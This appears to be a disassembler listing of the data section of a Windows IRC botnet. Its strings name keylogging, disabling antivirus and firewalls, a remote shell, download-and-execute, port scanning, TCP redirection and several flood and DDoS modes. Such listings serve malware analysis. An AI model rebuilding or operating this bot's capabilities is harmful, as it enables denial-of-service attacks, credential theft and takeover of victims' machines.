unk_42B398 db 2 ; DATA XREF: sub_40121E+3DEo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 30h, 31h, 2
db 1Fh
db 50h, 1Fh, 2
db 72h ; r
db 2, 6Fh, 2
db 63h ; c
db 2, 73h, 2
db 3
db 30h, 34h, 2Ch
db 3
db 31h, 35h, 5Dh
db 3
a4FailedToStart db '4 Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_42B3F4 db 2 ; DATA XREF: sub_40121E+38Do
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 30h, 31h, 2
db 1Fh
db 50h, 1Fh, 2
db 72h ; r
db 2, 6Fh, 2
db 63h ; c
db 2, 73h, 2
db 3
db 30h, 34h, 2Ch
db 3
db 31h, 35h, 5Dh
db 3
a4AvFwKillerAct db '4 AV/FW Killer active.',0
dword_42B430 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6961024Dh
; DATA XREF: sub_40121E+352o
dd 3026E02h, 32C3130h, 33A3431h, 42022031h, 20746F02h
dd 74025302h, 65747261h, 2E64h
dword_42B464 dd 25207325h, 25222064h, 2273hdword_42B470 dd 255C7325h, 73h ; sub_417358+45o
dword_42B478 dd 73257325h, 0 ; sub_410370+E9o ...
dword_42B480 dd 31030220h, 5B302C35h, 31300302h, 34300391h, 6F024302h
; DATA XREF: sub_4017BF+F2o
dd 6E026E02h, 1F631F65h, 3646574h, 32C3130h, 33A3431h
dd 54022031h, 1F6F1F02h, 20343003h, 2E7325h
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401925+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401925+35o
align 10h
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+7C2Eo
align 10h
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+7C19o
align 10h
dword_42B500 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+7C05o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h
dd 7325203Ah, 6F026C20h, 65676702h, 6E692064h, 2Eh
dword_42B540 dd 1F353103h, 34031F28h, 313003B7h, 361026Ch, 26D3430h
; DATA XREF: sub_401AA1+7BE8o
dd 65313003h, 3027202h, 3103B734h, 1F291F35h, 2340320h
dd 2610250h, 731F0273h, 277021Fh, 272026Fh, 41022064h
dd 63026302h, 1F651F02h, 74027002h, 64026502h, 2Eh
dword_42B590 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+7B63o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1FailedPassAut db '1 *Failed Pass Auth By: (%s!%s).',0
align 4
dword_42B5D8 dd 49544F4Eh, 25204543h, 23A2073h, 756F0259h, 41022072h
; DATA XREF: sub_401AA1+7B4Eo
dd 65747402h, 2074706Dh, 61024802h, 1F622073h, 65021F65h
dd 6C206E02h, 671F6F1Fh, 2E646567h, 0A0Dh
dword_42B610 dd 49544F4Eh, 25204543h, 33A2073h, 2680231h, 21F551Fh
; DATA XREF: sub_401AA1+7B3Ao
dd 2200268h, 1F720257h, 676E1F6Fh, 73252820h, 29732521h
dd 0A0D2Eh
dword_42B63C dd 7Eh dword_42B640 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+7AB9o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1RandomNickCha db '1 Random nick change: %s',0
align 10h
unk_42B680 db 2 ; DATA XREF: sub_401AA1+7A51o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Dh ; M
db 2, 1Fh, 61h
db 1Fh
db 2, 69h, 2
db 6Eh ; n
db 2 dup(2), 3
db 30h ; 0
db 31h, 2Ch, 3
db 31h ; 1
db 34h, 3Ah, 3
db 31h ; 1
db 20h, 2, 52h
db 2
aEconnectingInS db 'econnecting in %s seconds',0
align 4
unk_42B6C4 db 2 ; DATA XREF: sub_401AA1+7A0Fo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Dh ; M
db 2, 1Fh, 61h
db 1Fh
db 2, 69h, 2
db 6Eh ; n
db 2 dup(2), 3
db 30h ; 0
db 31h, 2Ch, 3
db 31h ; 1
db 34h, 3Ah, 3
db 31h ; 1
db 20h, 2, 52h
db 2
aEconnectingI_0 db 'econnecting in %s ms',0
align 4
dword_42B704 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+79F1o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1NickChangedTo db '1 Nick changed to: ',27h,'%s',27h,'.',0
align 8
dword_42B748 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+79D8o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4A022031h, 6E696F02h
dd 2206465h, 61680243h, 6C656E6Eh, 2034033Ah, 27732527h
dd 2Eh, 0
dword_42B790 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+79B8o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 50022031h, 74726102h
dd 2206465h, 61680243h, 6C656E6Eh, 2034033Ah, 27732527h
dd 2Eh
dword_42B7D4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+799Fo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 2492031h, 20430252h
dd 2610252h, 34033A77h, 2E732520h, 0
dword_42B810 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2680254h
; DATA XREF: sub_401AA1:loc_4093CCo
dd 2650272h, 2640261h, 31300373h, 3531032Ch, 2031035Dh
dd 69610246h, 2064656Ch, 2206F74h, 6C69024Bh, 5402206Ch
dd 65726802h, 33A6461h, 73252034h, 2Eh, 0
dword_42B860 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2680254h
; DATA XREF: sub_401AA1+7924o
dd 2650272h, 2640261h, 31300373h, 3531032Ch, 2031035Dh
dd 6C69024Bh, 2656C02h, 2742064h, 2657268h, 33A6461h, 73252034h
dd 2Eh, 0
unk_42B8A8 db 2 ; DATA XREF: sub_401AA1:loc_409388o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 30h, 31h, 2
db 54h ; T
db 2, 68h, 2
db 72h ; r
db 2, 65h, 2
db 61h ; a
db 2, 64h, 2
db 73h ; s
db 3, 30h, 34h
db 2Ch ; ,
db 3, 31h, 35h
db 5Dh ; ]
db 3, 34h, 20h
aNoActiveThread db 'No active threads found.',0
align 10h
dword_42B8F0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 2680254h
; DATA XREF: sub_401AA1+78DDo
dd 2650272h, 2640261h, 34300373h, 3531032Ch, 2034035Dh
dd 706F7453h, 3A646570h, 25203103h, 34032064h, 65726874h
dd 73286461h, 2E29h
dword_42B934 dd 6C6C61h dword_42B938 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+77C2o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 72502031h, 78696665h
dd 61686320h, 6465676Eh, 3A6F7420h, 27203403h, 2E276325h
dd 2 dup(0)
dword_42B980 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 65680253h
; DATA XREF: sub_401AA1:loc_40924Eo
dd 6C026C02h, 2C313003h, 5D353103h, 2203103h, 756F0243h
dd 276E646Ch, 4F022074h, 6E657002h, 2460220h, 3A656C69h
dd 25203403h, 73h
dword_42B9C4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 65680253h
; DATA XREF: sub_401AA1+77A3o
dd 6C026C02h, 2C313003h, 5D353103h, 2203103h, 6C690246h
dd 4F022065h, 6E657002h, 64026502h, 2034033Ah, 7325h
dword_42BA00 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+777Ao
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ServerChanged db '1 Server changed to: ',27h,'%s',27h,'.',0
align 10h
unk_42BA40 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_4091FFo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_42BA68 db 2Dh ; - ; DATA XREF: sub_401AA1+7733o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
dword_42BA88 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 21F501Fh
; DATA XREF: sub_401AA1:loc_40919Ao
dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 2203403h
dd 69610246h, 2064656Ch, 2206F74h, 72650254h, 616E696Dh
dd 2206574h, 6F720250h, 73736563h, 2031033Ah, 7325h
dword_42BAD8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh
; DATA XREF: sub_401AA1+76EFo
dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
dd 6F720250h, 73736563h, 24B0220h, 26C0269h, 265026Ch
dd 34033A64h, 732520h, 0
dword_42BB20 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 21F501Fh
; DATA XREF: sub_401AA1:loc_409140o
dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 2203403h
dd 69610246h, 2064656Ch, 2206F74h, 72650254h, 616E696Dh
dd 2206574h, 6F720250h, 73736563h, 3A444920h, 25203103h
dd 73h, 0
dword_42BB78 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh
; DATA XREF: sub_401AA1+7698o
dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
dd 6F720250h, 73736563h, 24B0220h, 26C0269h, 265026Ch
dd 44492064h, 2034033Ah, 7325h
dword_42BBC0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F461Fh
; DATA XREF: sub_401AA1:loc_4090F9o
dd 26C0269h, 3020265h, 32C3130h, 35D3531h, 31h
dword_42BBE8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F461Fh
; DATA XREF: sub_401AA1+7651o
dd 26C0269h, 3020265h, 32C3130h, 35D3531h, 44022031h, 26C6502h
dd 65740265h, 3026402h, 25272034h, 2E2773h
unk_42BC24 db 2Dh ; - ; DATA XREF: sub_401AA1+7626o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 10h
unk_42BC60 db 2Dh ; - ; DATA XREF: sub_401AA1+75CDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_42BC84 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401AA1+755Bo
dd 2 dup(0)
unk_42BCA0 db 2 ; DATA XREF: sub_401AA1+752Bo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 56h ; V
db 2, 69h, 73h
db 2
db 69h, 74h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 34h, 3Ah
db 3
a1FailedToStart db '1 Failed to start connection thread, error: <%d>.',0
align 4
dword_42BCF4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 73690256h
; DATA XREF: sub_401AA1+74D2o
dd 2746902h, 2C313003h, 3A343103h, 2203103h, 4C520255h
dd 2034033Ah, 2E7325h
dword_42BD24 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401AA1:loc_408ECEo
dd 746E6573h, 2Eh
unk_42BD40 db 2Dh ; - ; DATA XREF: sub_401AA1+7426o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 10h
dword_42BD60 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26D0243h
; DATA XREF: sub_401AA1+73E9o
dd 30030264h, 31032C31h, 31033A34h, 2430220h, 616D6D6Fh
dd 3A73646Eh, 25203403h, 73h, 0
unk_42BD98 db 2 ; DATA XREF: sub_401AA1+73E1o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 6Dh, 2
db 64h ; d
db 2, 3, 30h
db 31h ; 1
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 31h
aErrorSendingTo db ' Error sending to remote shell.',0
asc_42BDD8: ; DATA XREF: sub_401AA1+73C3o
; sub_410370+FAo ...
dw 0Ah
unicode 0, <>,0
dword_42BDDC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+739Bo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ReadFileFaile db '1 Read file failed: %s',0
align 4
dword_42BE18 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+7387o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ReadFileCompl db '1 Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401AA1:loc_408DB7o
align 4
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401AA1+72F7o
align 4
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401AA1+7295o
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_401AA1+7248o
align 10h
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401AA1+71C1o
align 4
aKeyloggerActiv db 'Keylogger active.',0 ; DATA XREF: sub_401AA1+7194o
; sub_401AA1+7240o
align 10h
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401AA1+718Fo
align 4
dword_42BEF8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+716Eo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65472031h, 736F6874h
dd 25203A74h, 2E73h, 0
dword_42BF30 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1:loc_408BD4o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1UnableToExtra db '1 Unable to extract Gethost command.',0
align 4
dword_42BF7C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+711Do
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1GethostSComma db '1 Gethost: %s, Command: %s',0
align 4
dword_42BFBC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+707Eo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1AliasAddedS_ db '1 Alias added: %s.',0
align 4
dword_42BFF4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+7040o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1PrivmsgSS_ db '1 Privmsg: %s: %s.',0
align 4
dword_42C02C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+6FEAo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ActionSS_ db '1 Action: %s: %s.',0
align 4
dword_42C064 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+6F7Fo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 79432031h, 2E656C63h
dd 0
dword_42C094 dd 54524150h, 0D732520h, 0Ah ; sub_401AA1+79AAo
dword_42C0A0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+6F19o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ModeChangeS db '1 Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+6F0Bo
align 4
dword_42C0E4 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401AA1+6EE2o
dd 25203A29h, 73h
dword_42C100 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401AA1+6E77o
dd 203A2973h, 7325h
dword_42C11C dd 45444F4Dh, 732520hdword_42C124 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401AA1+6DF0o
dd 203A2973h, 7325h
dword_42C140 dd 4E494F4Ah, 20732520h, 7325hdword_42C14C dd 0A0D7325h, 0 ; sub_401AA1+6DCFo ...
dword_42C154 dd 54524150h, 732520hdword_42C15C dd 234032Dh, 67726174h, 3023361haFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42C198 dd 234032Dh, 67726174h, 3023361haFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42C1C4 db 2Dh ; - ; DATA XREF: sub_401AA1+6BF4o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42C200 db 2Dh ; - ; DATA XREF: sub_401AA1+6B95o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
align 8
dword_42C238 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1:loc_4085D0o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1RepeatNotAllo db '1 Repeat not allowed in command line: %s',0
align 4
dword_42C288 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+6AF8o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65522031h, 74616570h
dd 7325203Ah, 0
dword_42C2BC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1:loc_408500o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65442031h, 2E79616Ch
dd 0
dword_42C2EC dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; sub_401AA1+6AD2o ...
dword_42C300 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2700255h
; DATA XREF: sub_401AA1:loc_40846Fo
dd 74026164h, 3026502h, 32C3130h, 35D3531h, 42022031h
dd 20746F02h, 2440249h, 24D0220h, 20747375h, 65024202h
dd 2440220h, 65666669h, 746E6572h, 2540220h, 206E6168h
dd 75024302h, 6E657272h, 72022074h, 6E6E7502h, 20676E69h
dd 72025002h, 7365636Fh, 2E73h
dword_42C370 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2700255h
; DATA XREF: sub_401AA1+69AFo
dd 74026164h, 3026502h, 32C3130h, 35D3531h, 46022031h
dd 6C696102h, 2206465h, 206F0254h, 74025302h, 20747261h
dd 6F024402h, 6F6C6E77h, 2206461h, 72680254h, 2C646165h
dd 2450220h, 2720272h, 272026Fh, 2034033Ah, 3E64253Ch
dd 2Eh
dword_42C3D8 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 2700255h
; DATA XREF: sub_401AA1+6956o
dd 74026164h, 3026502h, 32C3430h, 35D3531h, 44022034h
dd 2776F02h, 6F6C026Eh, 2640261h, 20676E69h, 70025502h
dd 65746164h, 2460220h, 3A6D6F72h, 25203103h, 2E73h
dword_42C428 dd 73257325h, 6578652Eh, 0dword_42C434 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401AA1+6854o
dd 7325203Ah, 0
unk_42C450 db 2Dh ; - ; DATA XREF: sub_401AA1+6849o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42C474 db 2Dh ; - ; DATA XREF: sub_401AA1+6797o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42C4B0 db 2Dh ; - ; DATA XREF: sub_401AA1+6733o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42C4E0 dd 234032Dh, 656C6966h, 2D0302hunk_42C4EC db 2Dh ; - ; DATA XREF: sub_401AA1+667Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42C510 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_4080FCo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42C548 db 2Dh ; - ; DATA XREF: sub_401AA1+663Co
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42C580 db 2Dh ; - ; DATA XREF: sub_401AA1+65D8o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42C5AC dd 234032Dh, 6E6F6C63h, 3027365haFailedToStartC db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42C5E8 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42C618 db 2Dh ; - ; DATA XREF: sub_401AA1+644Co
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42C650 db 2Dh ; - ; DATA XREF: sub_401AA1+63EAo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42C680 db 2Dh ; - ; DATA XREF: sub_401AA1+6354o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42C6B8 db 2Dh ; - ; DATA XREF: sub_401AA1+62F2o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42C6E8 db 2Dh ; - ; DATA XREF: sub_401AA1+626Do
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42C720 db 2Dh ; - ; DATA XREF: sub_401AA1+620Bo
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 10h
dword_42C760 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h
; DATA XREF: sub_401AA1+6186o
dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
dd 2031033Ah, 61024602h, 64656C69h, 6F025420h, 53022002h
dd 72617402h, 54022074h, 6E617202h, 72656673h, 2540220h
dd 61657268h, 2202C64h, 2720245h, 26F0272h, 33A0272h, 253C2034h
dd 2E3E64h, 0
dword_42C7D0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h
; DATA XREF: sub_401AA1+612Do
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 6F024402h, 6C6E0277h, 2616F02h, 26E6964h
dd 2552067h, 3A4C0252h, 25203103h, 34032073h, 26F0254h
dd 2031033Ah, 3207325h, 2540234h, 31033A6Fh, 2E732520h
dd 0
unk_42C838 db 2Dh ; - ; DATA XREF: sub_401AA1+604Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42C87C db 2Dh ; - ; DATA XREF: sub_401AA1+5FF3o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
dword_42C8B8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0250h
; DATA XREF: sub_401AA1+5F05o
dd 1F740272h, 1F025302h, 6E610263h, 31300302h, 3531032Ch
dd 2031033Ah, 1F025002h, 74721F6Fh, 2530220h, 611F631Fh
dd 5302206Eh, 72617402h, 1F651F74h, 30033A64h, 73252034h
dd 2064253Ah, 2570203h, 741F691Fh, 44022068h, 1F6C6502h
dd 3A791F61h, 20343003h, 6D286425h, 2E2973h
dword_42C92C dd 5D73255Bh, 73253C20h, 7325203Eh, 0dword_42C93C dd 5D73255Bh, 25202A20h, 73252073h, 0dword_42C94C dd 54434101h, 204E4F49h, 17325h ; sub_401AA1+6FCBo
dword_42C958 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0250h
; DATA XREF: sub_401AA1+5C85o
dd 1F740272h, 1F025302h, 6E610263h, 34300302h, 3531032Ch
dd 2034033Ah, 61024602h, 64656C69h, 6F025420h, 53022002h
dd 72617402h, 53022074h, 6E616302h, 2540220h, 61657268h
dd 2202C64h, 2720245h, 26F0272h, 33A0272h, 253C2031h, 2E3E64h
dword_42C9C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0250h
; DATA XREF: sub_401AA1+5C2Co
dd 1F740272h, 1F025302h, 6E610263h, 31300302h, 3531032Ch
dd 2031033Ah, 6F025002h, 2207472h, 61630253h, 5302206Eh
dd 72617402h, 3A646574h, 25203403h, 31032073h, 69025702h
dd 2206874h, 6C650244h, 33A7961h, 64252034h, 29736D28h
dd 2310320h, 65680243h, 6E696B63h, 52022067h, 676E6102h
dd 20340365h, 252D6425h, 2E64h, 0
dword_42CA48 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+5B80o
dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h
dd 2540220h, 61657268h, 2202C64h, 72720245h, 33A726Fh
dd 253C2031h, 2E3E64h
dword_42CAA0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+5B27o
dd 3026E02h, 32C3430h, 33A3431h, 73252034h, 2310320h, 726F0250h
dd 53022074h, 6E616302h, 2530220h, 74726174h, 6F206465h
dd 2034036Eh, 253A7325h, 31032064h, 69025702h, 61206874h
dd 2440220h, 79616C65h, 3666F20h, 64252034h, 2310320h
dd 63650253h, 73646E6Fh, 2460220h, 3403726Fh, 20642520h
dd 4D023103h, 756E6902h, 20736574h, 73025502h, 3676E69h
dd 64252034h, 2310320h, 72680254h, 73646165h, 2Eh, 0
dword_42CB48 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+59B1o
dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h
dd 24E0220h, 249206Fh, 2200250h, 65700253h, 69666963h
dd 2E6465h, 0
dword_42CBA0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+5954o
dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h
dd 5002202Ch, 74726F02h, 20736920h, 61766E69h, 2E64696Ch
dd 2 dup(0)
dword_42CBF8 dd 35310302h, 25B302Ch, 91343003h, 1F313003h, 1F024602h
; DATA XREF: sub_401AA1:loc_4072CFo
dd 2700254h, 2C343003h, 3A353103h, 2203403h, 6C700255h
dd 61026F02h, 2690264h, 220676Eh, 2690246h, 3A65026Ch
dd 25203103h, 34032073h, 6F025402h, 2031033Ah, 3207325h
dd 2460234h, 2690261h, 265026Ch, 2E64h
dword_42CC58 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h
; DATA XREF: sub_401AA1+5827o
dd 2700254h, 2C313003h, 3A353103h, 2203103h, 6C700255h
dd 61026F02h, 2690264h, 220676Eh, 2690246h, 3A65026Ch
dd 25203403h, 31032073h, 6F025402h, 2034033Ah, 7325h
